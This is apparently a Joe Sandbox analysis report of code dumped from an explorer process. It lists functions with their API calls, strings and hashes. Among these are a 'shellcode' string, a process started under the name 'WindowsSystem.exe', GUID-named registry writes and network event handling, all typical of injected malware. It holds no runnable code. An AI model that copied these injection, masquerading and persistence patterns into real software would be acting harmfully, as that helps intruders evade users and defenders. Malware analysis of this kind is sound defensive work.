Source File: 00000010.00000002.2933884391.0000000000E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000010.00000002.2933855119.0000000000E00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E44000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E68000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2934079006.0000000000E6C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e00000_explorer.jbxd

Yara matches

Similarity

API ID: File$CommandLinelstrcmpi$ArgvCloseCreateDintHandleModuleNameWrite
String ID: shellcode${0F01F64A-5A5B-4CC4-B069-D85368F634DD}${34E50511-FBB8-42F8-98A2-2629192A03A0}${6B55C48E-8FCD-482F-91CF-9C0B3FD8AC2B}${8399C93C-77D8-4A9E-96D7-0200E8B3EE42}${8FE2C78C-5E69-438F-A4AB-0D2F0B3439E1}${9D5F29AE-FCE3-40C6-8BE3-47B8C62D31E2}${A3956157-6EDC-4743-A7B9-FF7CDC2529A9}${D77DC119-1B4A-41E3-A066-2927413CA76D}${FF4E2D7F-189B-498D-BED3-F1AA783F6E3F}
API String ID: 3070626111-3874382022
Opcode ID: 7c865470e0464a453324e7636fbae510bfa24f6739339a5ff32697ba5d3373e2
Instruction ID: 314d48a27221324a8134bb630a9b6c45ecb2ebd68f23e116a1486b7a9c09201c
Opcode Fuzzy Hash: 7c865470e0464a453324e7636fbae510bfa24f6739339a5ff32697ba5d3373e2
Instruction Fuzzy Hash: D7B12031214AC082E754DB25F99835AB3A1F7D87D5F506926E68BA37B4DF7EC888C700

Function 00E2F834 Relevance: 40.7, APIs: 22, Strings: 1, Instructions: 465COMMONLIBRARYCODE

Download Yara Rule

APIs

__doserrno.LIBCMT ref: 00E2F88A
_errno.LIBCMT ref: 00E2F891
_invalid_parameter_noinfo.LIBCMT ref: 00E2F89C

Strings

U, xrefs: 00E2FE18

Memory Dump Source

Source File: 00000010.00000002.2933884391.0000000000E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000010.00000002.2933855119.0000000000E00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E44000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E68000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2934079006.0000000000E6C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e00000_explorer.jbxd

Yara matches

Similarity

API ID: __doserrno_errno_invalid_parameter_noinfo
String ID: U
API String ID: 3902385426-4171548499
Opcode ID: a0fba5ec8bfd1601ee77868f40c78684f16d8da371eac1b93d88cd03410f8666
Instruction ID: 5d9714b793314be4d6857517d2f6393132a5fb2a092808b50d725af9a9fd38e9
Opcode Fuzzy Hash: a0fba5ec8bfd1601ee77868f40c78684f16d8da371eac1b93d88cd03410f8666
Instruction Fuzzy Hash: 24021233304AA586EB208F25F4943AAB771F785B98F552136EA8A67764DF3DC445CB00

Function 00E2E88C Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 159fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

_set_error_mode.LIBCMT ref: 00E2E8D1
_set_error_mode.LIBCMT ref: 00E2E8E2
GetModuleFileNameW.KERNEL32 ref: 00E2E944

Part of subcall function 00E2A834: GetCurrentProcess.KERNEL32(?,?,?,?,00E2A8D6), ref: 00E2A84C

GetStdHandle.KERNEL32 ref: 00E2EA59
WriteFile.KERNEL32 ref: 00E2EAB6

Strings

Runtime Error!Program: , xrefs: 00E2E911
<program name unknown>, xrefs: 00E2E953
..., xrefs: 00E2E996
Microsoft Visual C++ Runtime Library, xrefs: 00E2E9FD

Memory Dump Source

Source File: 00000010.00000002.2933884391.0000000000E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000010.00000002.2933855119.0000000000E00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E44000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E68000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2934079006.0000000000E6C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e00000_explorer.jbxd

Yara matches

Similarity

API ID: File_set_error_mode$CurrentHandleModuleNameProcessWrite
String ID: ...$<program name unknown>$Microsoft Visual C++ Runtime Library$Runtime Error!Program:
API String ID: 2183313154-4022980321
Opcode ID: a466164d332dd90d406ca9b58455ee3c3e4c71f87633efd298baad6cbfeeeaef
Instruction ID: 7ad4d69da664cbe588501a97ac8f83f3b12c71a5583a3601d034ce51e77beb86
Opcode Fuzzy Hash: a466164d332dd90d406ca9b58455ee3c3e4c71f87633efd298baad6cbfeeeaef
Instruction Fuzzy Hash: EA5103313007B082EB28DB35B82979B7391FB89784F44652AEE9A63B54CF3DC606C704

Function 00E31848 Relevance: 107.7, APIs: 86, Instructions: 180COMMONLIBRARYCODE

Download Yara Rule

APIs

free.LIBCMT ref: 00E3185D

Part of subcall function 00E2C4D0: RtlFreeHeap.NTDLL(?,?,00000000,00E2AC50,?,?,00000000,00E2AC73,?,?,?,00E29403,?,?,00000000,00E29C5B), ref: 00E2C4E6
Part of subcall function 00E2C4D0: _errno.LIBCMT ref: 00E2C4F0
Part of subcall function 00E2C4D0: GetLastError.KERNEL32(?,?,00000000,00E2AC50,?,?,00000000,00E2AC73,?,?,?,00E29403,?,?,00000000,00E29C5B), ref: 00E2C4F8

free.LIBCMT ref: 00E31866
free.LIBCMT ref: 00E3186F
free.LIBCMT ref: 00E31878
free.LIBCMT ref: 00E31881
free.LIBCMT ref: 00E3188A
free.LIBCMT ref: 00E31892
free.LIBCMT ref: 00E3189B
free.LIBCMT ref: 00E318A4
free.LIBCMT ref: 00E318AD
free.LIBCMT ref: 00E318B6
free.LIBCMT ref: 00E318BF
free.LIBCMT ref: 00E318C8
free.LIBCMT ref: 00E318D1
free.LIBCMT ref: 00E318DA
free.LIBCMT ref: 00E318E3
free.LIBCMT ref: 00E318EF
free.LIBCMT ref: 00E318FB
free.LIBCMT ref: 00E31907
free.LIBCMT ref: 00E31913
free.LIBCMT ref: 00E3191F
free.LIBCMT ref: 00E3192B
free.LIBCMT ref: 00E31937
free.LIBCMT ref: 00E31943
free.LIBCMT ref: 00E3194F
free.LIBCMT ref: 00E3195B
free.LIBCMT ref: 00E31967
free.LIBCMT ref: 00E31973
free.LIBCMT ref: 00E3197F
free.LIBCMT ref: 00E3198B
free.LIBCMT ref: 00E31997
free.LIBCMT ref: 00E319A3
free.LIBCMT ref: 00E319AF
free.LIBCMT ref: 00E319BB
free.LIBCMT ref: 00E319C7
free.LIBCMT ref: 00E319D3
free.LIBCMT ref: 00E319DF
free.LIBCMT ref: 00E319EB
free.LIBCMT ref: 00E319F7
free.LIBCMT ref: 00E31A03
free.LIBCMT ref: 00E31A0F
free.LIBCMT ref: 00E31A1B
free.LIBCMT ref: 00E31A27
free.LIBCMT ref: 00E31A33
free.LIBCMT ref: 00E31A3F
free.LIBCMT ref: 00E31A4B
free.LIBCMT ref: 00E31A57
free.LIBCMT ref: 00E31A63
free.LIBCMT ref: 00E31A6F
free.LIBCMT ref: 00E31A7B
free.LIBCMT ref: 00E31A87
free.LIBCMT ref: 00E31A93
free.LIBCMT ref: 00E31A9F
free.LIBCMT ref: 00E31AAB
free.LIBCMT ref: 00E31AB7
free.LIBCMT ref: 00E31AC3
free.LIBCMT ref: 00E31ACF
free.LIBCMT ref: 00E31ADB
free.LIBCMT ref: 00E31AE7
free.LIBCMT ref: 00E31AF3
free.LIBCMT ref: 00E31AFF
free.LIBCMT ref: 00E31B0B
free.LIBCMT ref: 00E31B17
free.LIBCMT ref: 00E31B23
free.LIBCMT ref: 00E31B2F
free.LIBCMT ref: 00E31B3B
free.LIBCMT ref: 00E31B47
free.LIBCMT ref: 00E31B53
free.LIBCMT ref: 00E31B5F
free.LIBCMT ref: 00E31B6B
free.LIBCMT ref: 00E31B77
free.LIBCMT ref: 00E31B83
free.LIBCMT ref: 00E31B8F
free.LIBCMT ref: 00E31B9B
free.LIBCMT ref: 00E31BA7
free.LIBCMT ref: 00E31BB3
free.LIBCMT ref: 00E31BBF
free.LIBCMT ref: 00E31BCB
free.LIBCMT ref: 00E31BD7
free.LIBCMT ref: 00E31BE3
free.LIBCMT ref: 00E31BEF
free.LIBCMT ref: 00E31BFB
free.LIBCMT ref: 00E31C07
free.LIBCMT ref: 00E31C13
free.LIBCMT ref: 00E31C1F
free.LIBCMT ref: 00E31C2B

Memory Dump Source

Source File: 00000010.00000002.2933884391.0000000000E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000010.00000002.2933855119.0000000000E00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E44000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E68000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2934079006.0000000000E6C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e00000_explorer.jbxd

Yara matches

Similarity

API ID: free$ErrorFreeHeapLast_errno
String ID:
API String ID: 1012874770-0
Opcode ID: 4a89303ada8976f5ba6e723fc5dc129f4762e2132d56d8738a2842697157dd51
Instruction ID: c7a3381d720f24ad4de2929364b43da054f403c019e11addbf263a666bd641e0
Opcode Fuzzy Hash: 4a89303ada8976f5ba6e723fc5dc129f4762e2132d56d8738a2842697157dd51
Instruction Fuzzy Hash: F981682229155881DB41FF31ECB52BF2360EBE4F4CF146172AE6D6B12ECEA0D84583D0

Function 00E0F850 Relevance: 33.3, APIs: 14, Strings: 5, Instructions: 95memoryprocessstringCOMMON

Download Yara Rule

APIs

Part of subcall function 00E0F510: SHGetKnownFolderPath.SHELL32 ref: 00E0F587
Part of subcall function 00E0F510: lstrlenW.KERNEL32 ref: 00E0F59A
Part of subcall function 00E0F510: lstrlenW.KERNEL32 ref: 00E0F5B5
Part of subcall function 00E0F510: LocalAlloc.KERNEL32 ref: 00E0F5DC
Part of subcall function 00E0F510: lstrlenW.KERNEL32 ref: 00E0F620
Part of subcall function 00E0F510: CoTaskMemFree.COMBASE ref: 00E0F635

LocalAlloc.KERNEL32 ref: 00E0F88C
LocalFree.KERNEL32 ref: 00E0FA3D

Part of subcall function 00E28378: _errno.LIBCMT ref: 00E283AF
Part of subcall function 00E28378: _invalid_parameter_noinfo.LIBCMT ref: 00E283BA

LocalAlloc.KERNEL32 ref: 00E0F8D4
GetModuleFileNameW.KERNEL32 ref: 00E0F8F8
lstrcmpiW.KERNEL32 ref: 00E0F910
LocalAlloc.KERNEL32 ref: 00E0F928
CreateProcessW.KERNEL32 ref: 00E0F9D9
LocalFree.KERNEL32 ref: 00E0F9E9
LocalFree.KERNEL32 ref: 00E0F9F4
LocalFree.KERNEL32 ref: 00E0F9FF
LocalFree.KERNEL32 ref: 00E0FA0A
LocalFree.KERNEL32 ref: 00E0FA1C
LocalFree.KERNEL32 ref: 00E0FA27
LocalFree.KERNEL32 ref: 00E0FA32

Strings

h, xrefs: 00E0F987
WindowsSystem.exe, xrefs: 00E0F8A3, 00E0F94B
{A3956157-6EDC-4743-A7B9-FF7CDC2529A9}, xrefs: 00E0F93F
%s%s, xrefs: 00E0F8B4
"%s%s" %s, xrefs: 00E0F95C

Memory Dump Source

Source File: 00000010.00000002.2933884391.0000000000E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000010.00000002.2933855119.0000000000E00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E44000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E68000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2934079006.0000000000E6C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e00000_explorer.jbxd

Yara matches

Similarity

API ID: Local$Free$Alloc$lstrlen$CreateFileFolderKnownModuleNamePathProcessTask_errno_invalid_parameter_noinfolstrcmpi
String ID: "%s%s" %s$%s%s$WindowsSystem.exe$h${A3956157-6EDC-4743-A7B9-FF7CDC2529A9}
API String ID: 2909854553-3939194678
Opcode ID: 4d25641b8735d14a726654b48d45073a7de7170b3c13ab805fafb7f8c1a648b6
Instruction ID: 24aa72ef65848b2c44f69b811ff3822192e709161102f59b3c8faa1c2fa34e41
Opcode Fuzzy Hash: 4d25641b8735d14a726654b48d45073a7de7170b3c13ab805fafb7f8c1a648b6
Instruction Fuzzy Hash: 84510832218B8082E7209F25F95435AB7A1F7C4784F601536EA8E93BB8DF7DD599CB00

Function 00E238A0 Relevance: 25.6, APIs: 17, Instructions: 138networkmemoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32 ref: 00E238F8
und_memcpy.LIBCMTD ref: 00E23928
CreateEventW.KERNEL32 ref: 00E23937
WSAEventSelect.WS2_32 ref: 00E23979
WSAWaitForMultipleEvents.WS2_32 ref: 00E239A7
LocalFree.KERNEL32 ref: 00E239CC
CloseHandle.KERNEL32 ref: 00E239D7
LocalFree.KERNEL32 ref: 00E23A04
CloseHandle.KERNEL32 ref: 00E23A0F
LocalFree.KERNEL32 ref: 00E23A49
CloseHandle.KERNEL32 ref: 00E23A54
CloseHandle.KERNEL32 ref: 00E23B1F
LocalFree.KERNEL32 ref: 00E23B2A

Memory Dump Source

Source File: 00000010.00000002.2933884391.0000000000E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000010.00000002.2933855119.0000000000E00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E44000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E68000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2934079006.0000000000E6C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e00000_explorer.jbxd

Yara matches

Similarity

API ID: Local$CloseFreeHandle$Event$AllocCreateEventsMultipleSelectWaitund_memcpy
String ID:
API String ID: 3749125693-0
Opcode ID: 124c21bda427232cf7733cdd1a376e2e28e0464f34ccb17ebe09ad098ab10e4f
Instruction ID: cd6cc5c94f16ec3231b01b23928f6e6b3360f4920f00d3320b6b67c74fc4a865
Opcode Fuzzy Hash: 124c21bda427232cf7733cdd1a376e2e28e0464f34ccb17ebe09ad098ab10e4f
Instruction Fuzzy Hash: A561D236218A908BD760CF29F59471AB7A0F7C5B94F106116EA8A93B68CF7EC845CF00

Function 00E018F0 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 115processmemorysynchronizationCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32 ref: 00E019EA
LocalAlloc.KERNEL32 ref: 00E01A6F
CreateProcessW.KERNEL32 ref: 00E01AFB
WaitForSingleObject.KERNEL32 ref: 00E01B13
CloseHandle.KERNEL32 ref: 00E01B21
CloseHandle.KERNEL32 ref: 00E01B2F
LocalFree.KERNEL32 ref: 00E01B3D
LocalFree.KERNEL32 ref: 00E01B4B

Part of subcall function 00E17DA0: lstrlenW.KERNEL32 ref: 00E17DEC

LocalFree.KERNEL32 ref: 00E01B6C
LocalFree.KERNEL32 ref: 00E01B85

Strings

h, xrefs: 00E01A37

Memory Dump Source

Source File: 00000010.00000002.2933884391.0000000000E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000010.00000002.2933855119.0000000000E00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E44000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E68000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2934079006.0000000000E6C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e00000_explorer.jbxd

Yara matches

Similarity

API ID: Local$Free$CloseHandle$AllocCreateDirectoryObjectProcessSingleSystemWaitlstrlen
String ID: h
API String ID: 1515568942-2439710439
Opcode ID: 700ef754703000de30a9d05d8f56da3ac2eebbd87ca9f8f65ca9b3787f479bf4
Instruction ID: 1d4398b15b31b17bfbbb40de9082e3d437193166d53a22a1299278f04a99918a
Opcode Fuzzy Hash: 700ef754703000de30a9d05d8f56da3ac2eebbd87ca9f8f65ca9b3787f479bf4
Instruction Fuzzy Hash: 8F51F872218BC086E7708B14F49839AB3A1F788798F901626D7D997BA9DF7DC584CB04

Function 00E138E0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 69memoryprocessCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32 ref: 00E138F6
GetSystemDirectoryW.KERNEL32 ref: 00E13917
LocalAlloc.KERNEL32 ref: 00E1392F

Part of subcall function 00E17DA0: lstrlenW.KERNEL32 ref: 00E17DEC

Part of subcall function 00E28378: _errno.LIBCMT ref: 00E283AF
Part of subcall function 00E28378: _invalid_parameter_noinfo.LIBCMT ref: 00E283BA

CreateProcessW.KERNEL32 ref: 00E13A0E
LocalFree.KERNEL32 ref: 00E13A1E
LocalFree.KERNEL32 ref: 00E13A29
LocalFree.KERNEL32 ref: 00E13A3B
LocalFree.KERNEL32 ref: 00E13A46

Strings

h, xrefs: 00E139A4

Memory Dump Source

Source File: 00000010.00000002.2933884391.0000000000E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000010.00000002.2933855119.0000000000E00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E44000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E68000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2934079006.0000000000E6C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e00000_explorer.jbxd

Yara matches

Similarity

API ID: Local$Free$Alloc$CreateDirectoryProcessSystem_errno_invalid_parameter_noinfolstrlen
String ID: h
API String ID: 1407737935-2439710439
Opcode ID: 68ab8b961d4bc71c5f4e552a72eee95bdcf9ccaadb9cae7aedff49765960be32
Instruction ID: 33883ed6ac81fd836da8fb98c61cc9fc4e1138664e2fea29a8ac77c0d23fb98d
Opcode Fuzzy Hash: 68ab8b961d4bc71c5f4e552a72eee95bdcf9ccaadb9cae7aedff49765960be32
Instruction Fuzzy Hash: 6C313C32218AC082E7609F61F49479FB7A1F7C4794F501526EAC997B68DFBDC549CB00

Function 00E07840 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 51registrystringCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32 ref: 00E0786E

Part of subcall function 00E28378: _errno.LIBCMT ref: 00E283AF
Part of subcall function 00E28378: _invalid_parameter_noinfo.LIBCMT ref: 00E283BA

RegOpenKeyW.ADVAPI32 ref: 00E078B3
lstrlenW.KERNEL32 ref: 00E078C2
RegSetValueExW.ADVAPI32 ref: 00E078F5
RegCloseKey.ADVAPI32 ref: 00E07907
RegCloseKey.ADVAPI32 ref: 00E0791C

Strings

{BB52E685-57DB-490D-A4DD-CCF2F7D90D58}, xrefs: 00E0787C
SOFTWARE\%s, xrefs: 00E07883
{C3120582-398C-4F3B-A956-7E9F9DB9EF8E}, xrefs: 00E078E6

Memory Dump Source

Source File: 00000010.00000002.2933884391.0000000000E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000010.00000002.2933855119.0000000000E00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E44000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E68000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2934079006.0000000000E6C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e00000_explorer.jbxd

Yara matches

Similarity

API ID: Close$FileModuleNameOpenValue_errno_invalid_parameter_noinfolstrlen
String ID: SOFTWARE\%s${BB52E685-57DB-490D-A4DD-CCF2F7D90D58}${C3120582-398C-4F3B-A956-7E9F9DB9EF8E}
API String ID: 3731830441-3858757917
Opcode ID: 7bb07a2271345102e521609267ec7056a74e37406b2e27a2aab72c2f972f2200
Instruction ID: 7316cb814d3f9c3582848e65b2f7e47eb4ce80c978657bf05b21e6e68041ff0f
Opcode Fuzzy Hash: 7bb07a2271345102e521609267ec7056a74e37406b2e27a2aab72c2f972f2200
Instruction Fuzzy Hash: C7113361328AC092DB20DB25FD8879A6360FBE47C5F805922DA9E936A8DF7DC645C704

Function 00E2B85C Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 143COMMONLIBRARYCODE

Download Yara Rule

APIs

_getptd.LIBCMT ref: 00E2B88D

Part of subcall function 00E2AC68: _amsg_exit.LIBCMT ref: 00E2AC7E

_getptd.LIBCMT ref: 00E2B8AB
_CallSETranslator.LIBCMT ref: 00E2B8F3

Part of subcall function 00E28788: _getptd.LIBCMT ref: 00E287AF

Strings

RCC, xrefs: 00E2B8C9
MOC, xrefs: 00E2B8C1

Memory Dump Source

Source File: 00000010.00000002.2933884391.0000000000E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000010.00000002.2933855119.0000000000E00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E44000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E68000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2934079006.0000000000E6C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e00000_explorer.jbxd

Yara matches

Similarity

API ID: _getptd$CallTranslator_amsg_exit
String ID: MOC$RCC
API String ID: 1374396951-2084237596
Opcode ID: a0a0505cb22886c3b0ba542797d601f8fd46d35cc16e9fcaff9154a5669b2d24
Instruction ID: 7d5252b5a4039430768fefde6d8951124e73e95b2ab365746bf8053f61973621
Opcode Fuzzy Hash: a0a0505cb22886c3b0ba542797d601f8fd46d35cc16e9fcaff9154a5669b2d24
Instruction Fuzzy Hash: 6351BE72604AE496CF20DF15F1907ADB3A0FBC1B88F596626EB9E67618DF78C191C700

Function 00E258F0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 34libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32 ref: 00E25908
GetProcAddress.KERNEL32 ref: 00E25927
RtlGetVersion.NTDLL ref: 00E25959

Strings

NTDLL.DLL, xrefs: 00E25901
RtlGetVersion, xrefs: 00E2591B

Memory Dump Source

Source File: 00000010.00000002.2933884391.0000000000E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000010.00000002.2933855119.0000000000E00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E44000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E68000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2934079006.0000000000E6C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e00000_explorer.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProcVersion
String ID: NTDLL.DLL$RtlGetVersion
API String ID: 2685220120-196638859
Opcode ID: 42daa815b2a7eb0b21278584d862c4cfba6597e56c53cd9aa9c348133628d252
Instruction ID: 7d97ce7ac3e408962118177389f58902f5878336114585413b63af04b380c487
Opcode Fuzzy Hash: 42daa815b2a7eb0b21278584d862c4cfba6597e56c53cd9aa9c348133628d252
Instruction Fuzzy Hash: F2114C36228B94C2E764DF10F94839AB7B0F3C8794F401925AA8E57768DF3CC688CB00

Function 00E04050 Relevance: 7.5, APIs: 5, Instructions: 44threadCOMMON

Download Yara Rule

APIs

CreateEventW.KERNEL32 ref: 00E0407D
CreateEventW.KERNEL32 ref: 00E040A5
CreateThread.KERNEL32 ref: 00E040DB
CloseHandle.KERNEL32 ref: 00E04100
CloseHandle.KERNEL32 ref: 00E04118

Memory Dump Source

Source File: 00000010.00000002.2933884391.0000000000E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000010.00000002.2933855119.0000000000E00000.00000002.00001000.00020000.00000000.sdmpDownload File
